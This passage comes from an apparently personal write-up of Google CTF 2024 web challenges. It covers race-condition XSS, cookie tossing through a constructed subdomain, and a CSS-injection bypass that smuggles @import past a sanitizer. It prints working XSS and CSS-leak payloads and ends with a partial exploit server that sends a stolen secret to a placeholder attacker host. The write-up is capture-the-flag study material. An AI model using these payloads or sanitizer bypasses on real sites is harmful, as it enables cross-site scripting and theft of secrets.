function">fetch</span><span class="token punctuation">(</span><span class="token string">'/start'</span><span class="token punctuation">)</span>    <span class="token keyword">await</span> <span class="token function">getSandboxXss</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Basically, it involves opening three intervals, one to update to <code>#0</code>, one to update to what we want, and another to continuously override the function of the flag iframe. After observing, I found that I successfully XSS a few times, but then there was no follow-up. Either the code was written incorrectly, or the modal was closed too quickly.</p><p>While I was still experimenting, my teammate managed to solve it. The concept was similar, with the only difference being the numbers in the intervals and the method used to retrieve the flag in the end.</p><p>Although the flag content is a sandboxed iframe, the webpage loading this iframe is same-origin. Therefore, we can directly fetch the iframe’s src (which will be a blob) because it is also same-origin.</p><p>In conclusion, race conditions are really difficult, and even if discovered, they may not always be exploitable.</p><p>The official solution provided by the author terjanq can be found here: <a href="https://github.com/google/google-ctf/tree/main/2024/quals/web-postviewer3">Google CTF 2024 Quals Web Postviewer3</a></p><p>There is an additional step in the middle to find an XSS on <code>storage.googleapis.com</code>, but the overall concept remains the same, just the method of forging the hash is different.</p><h2><span id="game-arcade-14-solves">GAME ARCADE (14 solves)</span></h2><p>This question is quite similar to POSTVIEWER V3, with many pieces of code even being shared or improved versions, almost like giving hints to POSTVIEWER V3 secretly (?).</p><p>The functionality involves four mini-games, where clicking on them will load fixed HTML using a sandbox domain + shim.html (basically the same shim as POSTVIEWER V3).</p><p>The method of calculating the sandbox hash here is different from before, using special symbols for joining, making it impossible to forge.</p><p>Among the four mini-games, one is clearly not a game. Some parts of the code are as follows:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">let</span> password <span class="token operator">=</span> <span class="token function">getCookie</span><span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span> <span class="token operator">||</span> localStorage<span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token string">"okoń"</span><span class="token punctuation">;</span><span class="token keyword">let</span> correctPasswordSpan <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'span'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>correctPasswordSpan<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">'correct'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>correctPasswordSpan<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> password<span class="token punctuation">;</span><span class="token keyword">let</span> steps <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">savePassword</span><span class="token punctuation">(</span><span class="token parameter">pwd</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  document<span class="token punctuation">.</span>cookie <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">password=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>pwd<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>  localStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">'password'</span><span class="token punctuation">,</span> pwd<span class="token punctuation">)</span>  <span class="token keyword">return</span> pwd<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>        <span class="token keyword">function</span> <span class="token function">changePwd</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  steps <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  password <span class="token operator">=</span> passwordInp<span class="token punctuation">.</span>value<span class="token punctuation">;</span>  correctPasswordSpan<span class="token punctuation">.</span>innerHtml <span class="token operator">=</span> password<span class="token punctuation">;</span>  output<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">'Password changed.'</span><span class="token punctuation">;</span>  <span class="token function">savePassword</span><span class="token punctuation">(</span>password<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The bot in this question ultimately writes the flag by using <code>changePwd</code>, so the goal is to execute XSS and steal the password stored in the cookie or localStorage.</p><p>From the above code, it is clear that if we can overwrite the cookie, we can have an XSS.</p><p>Why is that? Because the password is controllable, and <code>correctPasswordSpan.innerHTML = password</code>, even though <code>correctPasswordSpan</code> is not displayed on the screen, there is still an XSS risk. A real-world example can be seen in the Figma XSS found by me and @sudi: <a href="https://github.com/Sudistark/xss-writeups/blob/main/figma.com-xss.md">Interesting case of a DOM XSS in www.figma.com</a></p><p>To overwrite the cookie, one immediate thought is to use cookie tossing from another domain, but in this case, <code>*.usercontent.goog</code> is in the public suffix list, so it’s not possible to write from other subdomains.</p><p>Coincidentally, my teammate had an idea while solving POSTVIEWER V3 that could be used here. He suggested that maybe we could construct a domain like <code>http://sbx-fake.sbx-real.postviewer3-web.2024.ctfcompetition.com/</code>, which wasn’t useful in that challenge but turned out to be the solution here.</p><p>The domain we want to influence is <a href="https://0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html">https://0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html</a></p><p>We can construct an HTTP subdomain XSS: <a href="http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html">http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html</a></p><p>To start cookie tossing from this subdomain is enough (actually, the real domain needs to be calculated using your origin, the above is just an example to prove that subdomain is feasible).</p><p>The author’s writeup is here: <a href="https://github.com/google/google-ctf/tree/main/2024/quals/web-game-arcade">https://github.com/google/google-ctf/tree/main/2024/quals/web-game-arcade</a></p><p>After reading it, I realized that Chrome cannot use cookies inside a blob.</p><p>Also, like the author, I was curious why this challenge seemed simpler, yet fewer teams solved it. I guess maybe they didn’t think of constructing a subdomain? If it weren’t for my teammate’s reminder, I might not have thought of it either.</p><h2><span id="in-the-shadows-5-solves">IN-THE-SHADOWS (5 solves)</span></h2><p>The core code of this challenge is very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token constant">UNSAFE_CSS_REGEX</span> <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">(@import|url[(])</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">;</span><span class="token comment">/** * @param &#123;string&#125; stylesheetText */</span><span class="token keyword">function</span> <span class="token function">sanitizeStyleSheet</span><span class="token punctuation">(</span><span class="token parameter">stylesheetText</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token comment">// Early exit for imports and external URLs</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">UNSAFE_CSS_REGEX</span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>stylesheetText<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">""</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> sheet <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">CSSStyleSheet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  sheet<span class="token punctuation">.</span><span class="token function">replaceSync</span><span class="token punctuation">(</span>stylesheetText<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> sheet<span class="token punctuation">.</span>cssRules<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> rule <span class="token operator">=</span> sheet<span class="token punctuation">.</span>cssRules<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">shouldDeleteRule</span><span class="token punctuation">(</span>rule<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      sheet<span class="token punctuation">.</span><span class="token function">deleteRule</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> safeCss <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>sheet<span class="token punctuation">.</span>cssRules<span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">r</span><span class="token punctuation">)</span> <span class="token operator">=></span> r<span class="token punctuation">.</span>cssText<span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// Do the check again if somehow @import or url() reappears during re-serialization.</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">UNSAFE_CSS_REGEX</span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>safeCss<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">""</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> safeCss<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">/** * @param &#123;CSSRule&#125; rule * @returns &#123;boolean&#125; */</span><span class="token keyword">function</span> <span class="token function">shouldDeleteRule</span><span class="token punctuation">(</span><span class="token parameter">rule</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSImportRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSMediaRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSFontFaceRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSLayerBlockRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSLayerStatementRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSNamespaceRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSSupportsRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSPageRule</span> <span class="token operator">||</span>    rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSPropertyRule</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// :has, :before etc. are potentially dangerous.</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>rule <span class="token keyword">instanceof</span> <span class="token class-name">CSSStyleRule</span> <span class="token operator">&amp;&amp;</span> rule<span class="token punctuation">.</span>selectorText<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Simply put, you can insert a <code>&lt;style&gt;</code> tag inside a shadow DOM, but the content of the tag will be filtered by the rules above, and the goal is to steal the secret attribute of the parent body, which looks like: <code>00ae32216ba630c797e19594d51fc2da0b5b7d6600000000e56c64a39f94843840757e667798110efb32fac16789565d66efb62c4a0492c6</code></p><p>When looking at this challenge initially, it was obvious that CSS injection was needed to steal something, and there were two difficulties:</p><ol><li>How to steal elements outside the shadow DOM</li><li>How to bypass the sanitizer</li></ol><p>My teammate first looked at this challenge. The first issue can be solved using <code>:host-context(body[secret^=&quot;00&quot;])</code> selector, which can select things outside the shadow DOM.</p><p>For the second issue, you can use rules other than the blocked ones, such as <code>@scope</code> or <code>@container</code>:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  <span class="token selector">.container</span><span class="token punctuation">&#123;</span>    <span class="token property">container-type</span><span class="token punctuation">:</span> inline-size<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token atrule"><span class="token rule">@container</span> <span class="token punctuation">(</span><span class="token property">min-width</span><span class="token punctuation">:</span> 500px<span class="token punctuation">)</span></span> <span class="token punctuation">&#123;</span>    <span class="token selector">:host-context(body[secret^="00"]) p</span> <span class="token punctuation">&#123;</span>       <span class="token property">color</span><span class="token punctuation">:</span> red<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span>test<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The reason this can bypass the check is that the rule checking is not recursive; it only checks the top level. So, as long as the selector is hidden inside <code>@container</code>, it won’t be checked.</p><p>After solving these two issues, the next step is to steal the content.</p><p>Since <code>@import</code> and <code>url</code> are blocked, you can’t leak using only CSS; you need HTML’s help, such as the commonly used lazy-loading image.</p><p>Set an img to <code>display:none</code> and add <code>loading=lazy</code> first, so it won’t make a request. Then, set it to <code>display:block</code> using CSS, and it will make a request (I remember trying this before, but it always made a request no matter what, either I remembered wrong, or Chrome has changed the mechanism in between).</p><p>Therefore, you can generate a payload based on this, with the general content as follows:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  <span class="token selector">img</span> <span class="token punctuation">&#123;</span>    <span class="token property">display</span><span class="token punctuation">:</span>none<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token selector">.container</span><span class="token punctuation">&#123;</span>    <span class="token property">container-type</span><span class="token punctuation">:</span> inline-size<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token atrule"><span class="token rule">@container</span> <span class="token punctuation">(</span><span class="token property">min-width</span><span class="token punctuation">:</span> 100px<span class="token punctuation">)</span></span> <span class="token punctuation">&#123;</span>    <span class="token selector">:host-context(body[secret*="00"])</span><span class="token punctuation">&#123;</span>       <span class="token selector">.i00</span><span class="token punctuation">&#123;</span> <span class="token property">display</span><span class="token punctuation">:</span>flex<span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token selector">:host-context(body[secret*="01"])</span><span class="token punctuation">&#123;</span>       <span class="token selector">.i01</span><span class="token punctuation">&#123;</span> <span class="token property">display</span><span class="token punctuation">:</span>flex<span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>i00</span> <span class="token attr-name">loading</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>lazy</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>URL?i00<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>i01</span> <span class="token attr-name">loading</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>lazy</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>URL?i01<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>However, there is a character limit for the payload in this challenge. After testing, it was found that you can only have around 13000 characters at most, which is clearly not enough.</p><p>We want to leak bigrams, so we need 256 characters from 00 to ff, 13000 &#x2F; 256 &#x3D; 50. You will definitely need <code>:host-context(body[secret*=&quot;00&quot;])&#123;&#125;</code> which is already 35 characters, leaving only 15 characters, unless there is a URL available, it won’t be possible.</p><p>(By the way, there is a <a href="https://drafts.csswg.org/css-values/#urls">src()</a> in the CSS spec, which seems to be an alternative usage of URL, but it doesn’t work, it seems it’s not implemented yet).</p><p>Even if it could be done, there is another problem, too many characters leading to a high repetition rate.</p><p>The secret has 112 characters, so if it’s bigrams, there will be 111 pairs. But after testing several times, having 93 pairs is already difficult, meaning there are 18 pairs that are duplicates. Therefore, you must brute-force a bit, but C(93, 18) &#x3D; 7282746847637522000, which doesn’t seem like a number that can be brute-forced.</p><p>Therefore, this approach is likely wrong and not feasible.</p><p>So, what other direction is there? Another direction is to use existing mechanisms to bypass the check.</p><p>The sanitizer will eventually return safeCss, which is made up of the cssText of each rule. If you can make the final cssText have characters like <code>@impor\74</code>, you can bypass the final check.</p><p>Then, my teammate found that <code>@font-feature-values &#39;lol &#123;&#125;; @import &quot;lol.com&quot;;p&#39;</code> after extracting the cssText, will directly remove the single quotes. And after removing the quotes, it’s obvious that the meaning of the CSS changes.</p><p>Based on this, you can provide an input like this:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  <span class="token atrule"><span class="token rule">@font-feature-values</span> <span class="token string">'lol; @\\0069mport "//exp.com";p'</span></span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>After extracting cssText, it will become:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css">  @font-feature-values 'lol<span class="token punctuation">;</span>  @\0069mport <span class="token string">"//exp.com"</span><span class="token punctuation">;</span>  <span class="token selector">p</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Successfully smuggled in the <code>@import</code>, then you can use common methods to leak the characters.</p><p>Speaking of this, it feels like I should prepare a CSS injection server that can be used on the fly, otherwise, it’s a bit tiring to write from scratch every time.</p><p>This time I directly used the trigram I wrote for <a href="https://blog.huli.tw/2023/12/11/0ctf-2023-writeup/">0CTF 2023</a>, but it’s a bit buggy. I didn’t consider it well when reassembling the characters, so it takes many attempts and good luck to get the correct answer.</p><p>After trying and fixing it for an hour in a trial-and-error state, I was lucky enough to get the flag.</p><p>By the way, according to the post-competition discussion on Discord, this bug has been fixed recently: <a href="https://chromium-review.googlesource.com/c/chromium/src/+/5604769">Properly escape CSS identifiers in serialization.</a></p><p>Finally, here is the complete but unstable exploit:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> express <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express'</span><span class="token punctuation">)</span><span class="token keyword">const</span> app <span class="token operator">=</span> <span class="token function">express</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">const</span> port <span class="token operator">=</span> <span class="token number">5555</span><span class="token keyword">let</span> leaks <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token keyword">const</span> <span class="token constant">BASE</span> <span class="token operator">=</span> <span class="token string">'https://your_server.com'</span><span class="token comment">// prepare payload</span><span class="token keyword">let</span> chars <span class="token operator">=</span> <span class="token string">'0123456789abcdef'</span><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> a <span class="token keyword">of</span> chars<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> b <span class="token keyword">of</span> chars<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> c <span class="token keyword">of</span> chars<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">let</span> str <span class="token operator">=</span> a<span class="token operator">+</span>b<span class="token operator">+</span>c<span class="token punctuation">;</span>            arr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">let</span> payload1 <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">let</span> crossPayload1 <span class="token operator">=</span> <span class="token string">'url("/")'</span><span class="token keyword">let</span> payload2 <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">let</span> crossPayload2 <span class="token operator">=</span> <span class="token string">'url("/")'</span><span class="token keyword">let</span> payload3 <span class="token operator">=</span> <span class="token string">''</span><span class="token keyword">let</span> crossPayload3 <span class="token operator">=</span> <span class="token string">'url("/")'</span><span class="token keyword">const</span> third <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length <span class="token operator">/</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> arr1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> third<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> arr2 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span>third<span class="token punctuation">,</span> <span class="token number">2</span> <span class="token operator">*</span> third<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> arr3 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> third<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> str <span class="token keyword">of</span> arr1<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    payload1 <span class="token operator">+=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">:host-context(*[secret*="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"])&#123;--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">:url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/leak?q=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")&#125;\n</span><span class="token template-punctuation string">`</span></span>    crossPayload1 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">-webkit-cross-fade(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload1<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, var(--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, none), 50%)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> str <span class="token keyword">of</span> arr2<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    payload2 <span class="token operator">+=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">:host-context(*[secret*="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"])&#123;--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">:url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/leak?q=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")&#125;\n</span><span class="token template-punctuation string">`</span></span>    crossPayload2 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">-webkit-cross-fade(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload2<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, var(--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, none), 50%)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> str <span class="token keyword">of</span> arr3<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    payload3 <span class="token operator">+=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">:host-context(*[secret*="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"])&#123;--</span><span class="token interpolation"><span 